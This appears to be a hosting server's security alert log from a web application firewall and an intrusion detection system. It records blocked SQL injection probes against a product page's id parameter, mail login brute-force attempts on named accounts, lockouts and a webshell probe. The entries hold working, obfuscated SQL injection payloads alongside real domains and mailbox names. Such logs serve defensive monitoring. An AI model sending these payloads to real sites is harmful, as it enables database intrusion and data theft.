IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9216=9216,1))),'~'),9216)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 196.179.12.135
country_id: 2464461
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/gtid_subset(concat('~',(select/**/(elt(8141=8141,1))),'~'),8141)# 0s9ogmem||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:16:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61881: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1 AND AND/**/ROW(7618,10013)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7618=7618,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/5860/**/UNION/**/SELECT/**/8229/**/UNION/**/SELECT/**/8597/**/UNION/**/SELECT/**/10589)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:17:07 dovecot_login authenticator failed for H=(9uWwmSy) [178.16.52.139]:51048: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:17:57 dovecot_login authenticator failed for H=(WskAvDMju) [165.154.217.204]:54586: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1and/**/row(3905,5258)>(select/**/count(*),concat('~',(select/**/(elt(3905=3905,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/1817/**/union/**/select/**/1217/**/union/**/select/**/3624/**/union/**/select/**/10641)a/**/group/**/by/**/x)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/row(3905,5258)>(select/**/count(*),concat('~',(select/**/(elt(3905=3905,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/1817/**/union/**/select/**/1217/**/union/**/select/**/3624/**/union/**/select/**/10641)a/**/group/**/by/**/x)#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:17:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:17:35 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58049: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-02-02 05:17:51 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:54036: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:17:04 dovecot_login authenticator failed for H=(XS8tfqFkIg) [158.94.208.175]:58895: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1))/*!50000AND*/ROW(4618,7947)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(4618=4618,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/6442/*!50000UNION*//*!50000SELECT*/8670/*!50000UNION*//*!50000SELECT*/2958/*!50000UNION*//*!50000SELECT*/8459)a/*!50000GROUP*//*!50000BY*/x) AND ((3957=3957||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-02 05:17:34 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(10962=10962,1))),'~'),10962)# LmPPekRc HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-02 05:17:56 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:30236: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:17:07 dovecot_login authenticator failed for H=(ZFjRcW) [165.154.217.204]:49441: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/ROW(2807,7914)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(2807=2807,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/6600/**/UNION/**/SELECT/**/6956/**/UNION/**/SELECT/**/1664/**/UNION/**/SELECT/**/1587)a/**/GROUP/**/BY/**/x)# 8gdZe6k1 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1) AND /*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(5237=5237,1))),'~'),5237)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1))and/**/gtid_subset(concat('~',(select/**/(elt(2026=2026,1))),'~'),2026) and ((7938=7938||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 178.87.96.254
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1))/*!50000AND*/ROW(4618,7947)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(4618=4618,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/6442/*!50000UNION*//*!50000SELECT*/8670/*!50000UNION*//*!50000SELECT*/2958/*!50000UNION*//*!50000SELECT*/8459)a/*!50000GROUP*//*!50000BY*/x) AND ((3957=3957||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:17:40 dovecot_login authenticator failed for H=(w1mPIpG) [178.16.54.138]:60380: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.239.163.142
country_id: 690791
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/landscape HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:18:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55538: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/1360=cast(('~'||(select/**/(case/**/when/**/(1360=1360)/**/then/**/1/**/else/**/0/**/end))||'~')/**/as/**/xml)# cc9cfpv7||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:18:39 dovecot_login authenticator failed for H=(ffaMwdm2oL) [178.16.54.138]:59941: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:18:43 dovecot_login authenticator failed for H=(xBtafaa3) [158.94.208.175]:52046: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:18:45 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:18:01 dovecot_login authenticator failed for H=(UbWpAu) [178.16.52.139]:62846: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)))AND/**/JSON_KEYS((SELECT/**/CONVERT((SELECT/**/CONCAT('~',(SELECT/**/(ELT(7504=7504,1))),'~'))/**/USING/**/utf8))) AND (((6408=6408||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/JSON_KEYS((SELECT/**/CONVERT((SELECT/**/CONCAT('~',(SELECT/**/(ELT(1250=1250,1))),'~'))/**/USING/**/utf8)))# gqox6ucB HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/1360=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1360=1360)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML)# cc9CfpV7||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/1360=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(1360=1360)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML)# cc9CfpV7 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:18:04 dovecot_login authenticator failed for H=(qm516dVyd) [165.154.217.204]:55327: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.163.120.222
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)))and/**/json_keys((select/**/convert((select/**/concat('~',(select/**/(elt(7504=7504,1))),'~'))/**/using/**/utf8))) and (((6408=6408||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:18:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:18:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54734: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-02-02 05:18:44 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:48788: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:19:43 dovecot_login authenticator failed for H=(ctNJMOHwj) [178.16.54.138]:62170: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-02-02 05:19:59 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:38464: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:19:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:19:12 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50509: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:19:57 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)))AND\r2857=(SELECT\r'~' (SELECT\x05(CASE\nWHEN\x0e(2857=2857)\nTHEN\b'1'\x01ELSE\n'0'\rEND)) '~'\x0eFOR\bXML\tPATH('')) AND (((5112=5112||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/4672=(select/**/'~'+(select/**/(case/**/when/**/(4672=4672)/**/then/**/'1'/**/else/**/'0'/**/end))+'~'/**/for/**/xml/**/path(''))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/8559=(SELECT/**/'~'+(SELECT/**/(CASE/**/WHEN/**/(8559=8559)/**/THEN/**/'1'/**/ELSE/**/'0'/**/END))+'~'/**/FOR/**/XML/**/PATH(''))# foIqT6xR HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-02-02 05:19:35 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:47368: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:19:59 dovecot_login authenticator failed for H=(TQbVfIY) [178.16.52.139]:57612: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:19:02 dovecot_login authenticator failed for H=(hRicUiS5G) [165.154.217.204]:60865: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1 AND aND/**/9152=uTL_iNadDR.GeT_hOST_NAmE((sELECT/**/cHr(126)||'~'||(SElECt/**/(CasE/**/When/**/(9152=9152)/**/Then/**/1/**/ELsE/**/0/**/End)/**/fRoM/**/DuAl)||'~'||chr(126)/**/frOM/**/duAl))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:20:12 dovecot_login authenticator failed for H=(OeelGg6BV) [165.154.217.204]:54115: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1))AND/**/10960=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(10960=10960)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL)) AND ((3917=3917||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/3426=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3426=3426)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL))# kPyIjy3h HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:20:45 dovecot_login authenticator failed for H=(tBZ4YlCdYF) [158.94.208.175]:63687: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:20:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:20:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61242: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 188.239.49.83
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/3-side-seal-bag/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:20:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36010: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:20:49 dovecot_login authenticator failed for H=(d4JqBc) [178.16.52.139]:60338: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 94.129.90.81
country_id: 285570
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1 and and/**/9152=utl_inaddr.get_host_name((select/**/chr(126)||%27~%27||(select/**/(case/**/when/**/(9152=9152)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)/**/from/**/dual))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1))and/**/10960=utl_inaddr.get_host_name((select/**/chr(126)||'~'||(select/**/(case/**/when/**/(10960=10960)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)/**/from/**/dual)) and ((3917=3917||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-02 05:20:44 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:50224: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-02-02 05:20:11 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:53181: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:20:47 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:20:18 dovecot_login authenticator failed for H=(spxMhm) [165.154.217.204]:54796: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.97.66.106
country_id: 3469034
description:
2026-02-02 05:20:53 dovecot_login authenticator failed for H=138-97-66-106.westlink.net.br [138.97.66.106]:47113: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:21:15 dovecot_login authenticator failed for H=(UUoMQMh) [178.16.52.139]:51213: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND AND/**/ROW(4157,1006)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(4157=4157,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/2193/**/UNION/**/SELECT/**/2486/**/UNION/**/SELECT/**/9795/**/UNION/**/SELECT/**/2847)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND /*!50000AND*/ROW(6699,10359)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(6699=6699,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/4618/*!50000UNION*//*!50000SELECT*/8219/*!50000UNION*//*!50000SELECT*/5667/*!50000UNION*//*!50000SELECT*/8717)a/*!50000GROUP*//*!50000BY*/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/UPDATEXML(7130,CONCAT('.','~',(SELECT/**/(ELT(7130=7130,1))),'~'),7902) OR 'tNhEKTeY'='KxloQwEH||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:21:10 dovecot_login authenticator failed for H=(4Eu9ne) [165.154.217.204]:60014: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:21:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1' AND /*!50000AND*/ROW(6699,10359)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(6699=6699,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/4618/*!50000UNION*//*!50000SELECT*/8219/*!50000UNION*//*!50000SELECT*/5667/*!50000UNION*//*!50000SELECT*/8717)a/*!50000GROUP*//*!50000BY*/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1') and and/**/row(9495,1945)>(select/**/count(*),concat('~',(select/**/(elt(9495=9495,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2427/**/union/**/select/**/4002/**/union/**/select/**/3450/**/union/**/select/**/4851)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.229.25.160
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1') and and/**/row(9495,1945)>(select/**/count(*),concat('~',(select/**/(elt(9495=9495,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/2427/**/union/**/select/**/4002/**/union/**/select/**/3450/**/union/**/select/**/4851)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:21:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54773: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:21:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@cordage.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:21:21 dovecot_login authenticator failed for H=(ydmPX1k7S) [158.94.208.175]:62896: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 201.219.66.43
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/updatexml(7130,concat('.','~',(select/**/(elt(7130=7130,1))),'~'),7902) or 'tnhektey'='kxloqweh||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-02 05:21:23 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:46096: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-02 05:21:33 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:35386: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 201.219.66.43
